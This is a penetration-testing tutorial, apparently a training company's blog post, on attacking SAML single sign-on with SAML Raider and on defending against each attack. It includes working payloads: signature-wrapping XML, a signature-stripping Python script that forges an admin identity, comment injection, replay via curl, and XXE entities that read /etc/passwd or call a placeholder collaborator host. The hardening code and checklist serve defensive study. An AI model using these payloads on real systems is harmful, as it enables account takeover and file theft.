Meta Title: SAML Raider: Exploiting and Securing SAML Auth
Meta Description: Learn how attackers use SAML Raider to exploit SSO vulnerabilities. Discover real-world attack techniques and defenses to secure SAML authentication.
Security Assertion Markup Language (SAML) is the backbone of single sign-on (SSO) across enterprises, cloud platforms, and SaaS applications. When it works correctly, it is seamless and powerful. When it is misconfigured or poorly implemented, it becomes one of the most exploitable authentication mechanisms in a penetration tester's playbook.
SAML Raider is a Burp Suite extension purpose-built for intercepting, manipulating, and attacking SAML messages. This post walks through how SAML Raider works, what real-world attacks look like at the payload level, and how defenders can harden their SAML implementations against each class of vulnerability.
SAML 2.0 is an XML-based open standard for exchanging authentication and authorization data between an Identity Provider (IdP) and a Service Provider (SP). The IdP authenticates the user and issues a signed XML assertion. The SP trusts that assertion and grants access.
The problem is that trust. If an attacker can forge, replay, or modify that assertion, they inherit the access of any user, including administrators.
Common weaknesses exploited in SAML implementations include:
SAML Raider is installed as a Burp Suite extension via the BApp Store or manually from the JAR file.
Installation via BApp Store:
Once installed, SAML Raider adds a dedicated tab to Burp's message editor whenever a SAML request or response is detected. It automatically Base64-decodes and XML-formats the assertion for readable inspection and manipulation.
To intercept SAML traffic, configure your browser to proxy through Burp, then initiate an SSO login flow. The extension will flag the SAMLResponse parameter in the POST request to the SP's Assertion Consumer Service (ACS) endpoint.
Before attacking, understand the structure being targeted. A typical SAML response contains:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="_abc123" Version="2.0" IssueInstant="2024-06-01T10:00:00Z"
Destination="https://sp.example.com/acs">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#_abc123">
<!-- digest and signature values -->
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>BASE64SIGNATUREHERE==</ds:SignatureValue>
</ds:Signature>
<saml:Assertion ID="_def456">
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
[cta]
The ds:Signature element covers a specific element via the URI reference. This is the anchor point for several attacks.
XSW attacks are the most technically nuanced SAML attacks. The idea is to manipulate the XML structure so that the signature validates against a legitimate node, but the application processes a different, attacker-controlled node.
SAML Raider automates eight XSW variants (XSW1 through XSW8). Each variant repositions the signed element and the malicious element differently relative to the XML signature block.
XSW Type 2 Example (Response Level Wrapping):
<samlp:Response>
<ds:Signature>
<!-- Signature over the legitimate Response element -->
</ds:Signature>
<samlp:Response ID="_legitimate">
<!-- Original content, validated by signature -->
</samlp:Response>
<samlp:Response ID="_evil">
<saml:Assertion>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Assertion>
</samlp:Response>
</samlp:Response>
[cta]
In SAML Raider, select the assertion in the editor, click "XSW Attacks", choose a variant, modify the NameID in the cloned element to your target user, and forward the request. If the SP processes the unsigned element instead of validating against the signed reference, you authenticate as that user.
To test all eight variants systematically, use Burp's Intruder with SAML Raider's "Send to Intruder" feature and iterate through each XSW type.
If you want to master this class of attack with hands-on lab exercises and guided walkthroughs, the Redfox Cybersecurity Academy Web Hacking Advanced Course covers SAML exploitation alongside other advanced authentication attacks in a structured, practitioner-focused curriculum.
Some SPs are configured to accept unsigned assertions. SAML Raider makes this trivially testable.
In the SAML Raider tab:
If the SP grants access, the application is accepting unsigned assertions. This is a critical misconfiguration and more common than it should be in legacy SSO integrations.
Scripted version using Python and the lxml library:
import base64
import zlib
from lxml import etree
# Load and decode SAMLResponse
raw = base64.b64decode(saml_response_b64)
root = etree.fromstring(raw)
# Define namespaces
ns = {
'ds': 'http://www.w3.org/2000/09/xmldsig#',
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'
}
# Remove Signature node
for sig in root.findall('.//ds:Signature', ns):
sig.getparent().remove(sig)
# Modify NameID
for nameid in root.findall('.//saml:NameID', ns):
nameid.text = 'admin@target.com'
# Re-encode
modified = base64.b64encode(etree.tostring(root)).decode()
print(modified)
[cta]
This attack exploits a parser discrepancy between the XML signature validator and the application layer. By injecting an XML comment into the NameID value, the signature validator sees one value while the application parses another.
<saml:NameID>admin<!--comment-->@example.com</saml:NameID>
[cta]
Some XML signature libraries validate the raw text including the comment, while the application's string parser strips comments and reads admin@example.com. The result is a valid signature on a modified identity. This is a subtle but impactful attack documented in CVE-2017-11427 and variants across Ruby-SAML, OneLogin, and other libraries.
In SAML Raider, you can inject this directly in the XML editor panel before forwarding the request.
SAML assertions include a NotOnOrAfter condition to limit their validity window. If an application does not enforce this condition or fails to track used assertion IDs, a captured assertion can be replayed.
<saml:Conditions
NotBefore="2024-06-01T09:55:00Z"
NotOnOrAfter="2024-06-01T10:05:00Z">
[cta]
Replay Test Procedure:
NotOnOrAfter time to passcurl -X POST https://sp.example.com/acs \
-d "SAMLResponse=BASE64ENCODEDRESPONSE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-c cookies.txt \
-v
[cta]
If authentication succeeds after expiry, the SP is not validating the time condition. Also test whether the same ID attribute can be submitted twice in quick succession. If the SP does not maintain a nonce cache of used assertion IDs, replay within the validity window is possible even against properly time-checking implementations.
SAML payloads are XML, which makes them potential vectors for XML External Entity injection if the SP's XML parser has external entity processing enabled.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Issuer>&xxe;</saml:Issuer>
...
</samlp:Response>
[cta]
SAML Raider provides an XXE payload insertion point in its editor. To test blind XXE, use an out-of-band payload that forces a DNS or HTTP callback:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://your-collaborator.burpcollaborator.net/xxe">
%xxe;
]>
[cta]
Monitor your Burp Collaborator for DNS lookups or HTTP requests to confirm parser interaction. A successful callback confirms the parser is resolving external entities. From there, escalate to file read or SSRF depending on the network configuration.
Real-world engagements rarely present a single clean vulnerability. A more common scenario involves chaining weaknesses. Consider this attack chain:
An attacker can:
admin@target.com as the NameIDadministrator<saml:Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/role">
<saml:AttributeValue>administrator</saml:AttributeValue>
</saml:Attribute>
[cta]
This chain is not theoretical. Variants have been documented in real assessments against enterprise SSO integrations with Azure AD, Okta, and on-premise ADFS configurations.
For practitioners building toward this level of assessment capability, the Redfox Cybersecurity Academy Web Hacking Advanced Course provides structured lab environments for practicing exactly these multi-stage attack chains against realistic targets.
The SP must validate the signature on every assertion and reject any assertion without a valid signature. The signature must be verified against the IdP's public certificate, not just checked for presence.
Key implementation requirements:
ds:Reference URI does not match the assertion's ID attributepython3-saml with strict mode or OneLogin's PHP SAML toolkit with signature validation enabled)TRUSTED_ISSUERS = ["https://idp.yourcompany.com"]
if assertion.issuer not in TRUSTED_ISSUERS:
raise ValueError("Untrusted Issuer")
[cta]
Never accept an assertion from an issuer that was not explicitly configured for the SP.
from datetime import datetime, timezone
not_on_or_after = datetime(2024, 6, 1, 10, 5, 0, tzinfo=timezone.utc)
if datetime.now(timezone.utc) > not_on_or_after:
raise ValueError("Assertion has expired")
if assertion_id in used_assertion_ids:
raise ValueError("Assertion replay detected")
used_assertion_ids.add(assertion_id)
[cta]
Use a distributed cache (Redis, Memcached) for assertion ID tracking in horizontally scaled environments to prevent replay attacks across multiple SP nodes.
Configure XML parsers to disable DTD processing and external entity resolution:
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)
root = etree.fromstring(xml_data, parser)
[cta]
In Java environments using the built-in DocumentBuilderFactory:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
[cta]
XML Canonicalization (C14N) normalizes the XML before signing. If the signing and verification steps use different canonicalization algorithms, validation can fail or be bypassed. Ensure both IdP and SP agree on c14n algorithm and that the SP explicitly verifies the algorithm used in the signed assertion rather than accepting whatever the assertion declares.
Outdated SAML libraries are consistently the root cause of XSW and comment injection vulnerabilities. Audit your library versions against known CVEs:
Regularly run dependency audits as part of your CI pipeline:
# For Python projects
pip-audit
# For Node.js projects
npm audit
# For Ruby projects
bundle audit
[cta]
Use this checklist during engagements or internal security reviews:
NotOnOrAfter expirySAML Raider turns what would otherwise be tedious manual XML manipulation into a systematic, repeatable attack workflow. The vulnerabilities it targets, XSW, signature exclusion, comment injection, replay, and XXE, are not edge cases. They appear in real enterprise environments, often in SSO integrations that have never been subjected to a dedicated security review.
Understanding these attacks at the payload level is what separates a surface-level scanner report from a meaningful security assessment. Defenders who understand how these attacks work are significantly better positioned to choose the right library configurations, write the right validation code, and know what to look for in logs.
If you are building or sharpening your web application penetration testing skills, the Redfox Cybersecurity Academy Web Hacking Advanced Course covers SAML exploitation, advanced authentication bypass, and the full spectrum of web attack techniques that practitioners need for serious engagements. Redfox Cybersecurity Academy designs every module around real-world applicability, so the skills transfer directly to the field.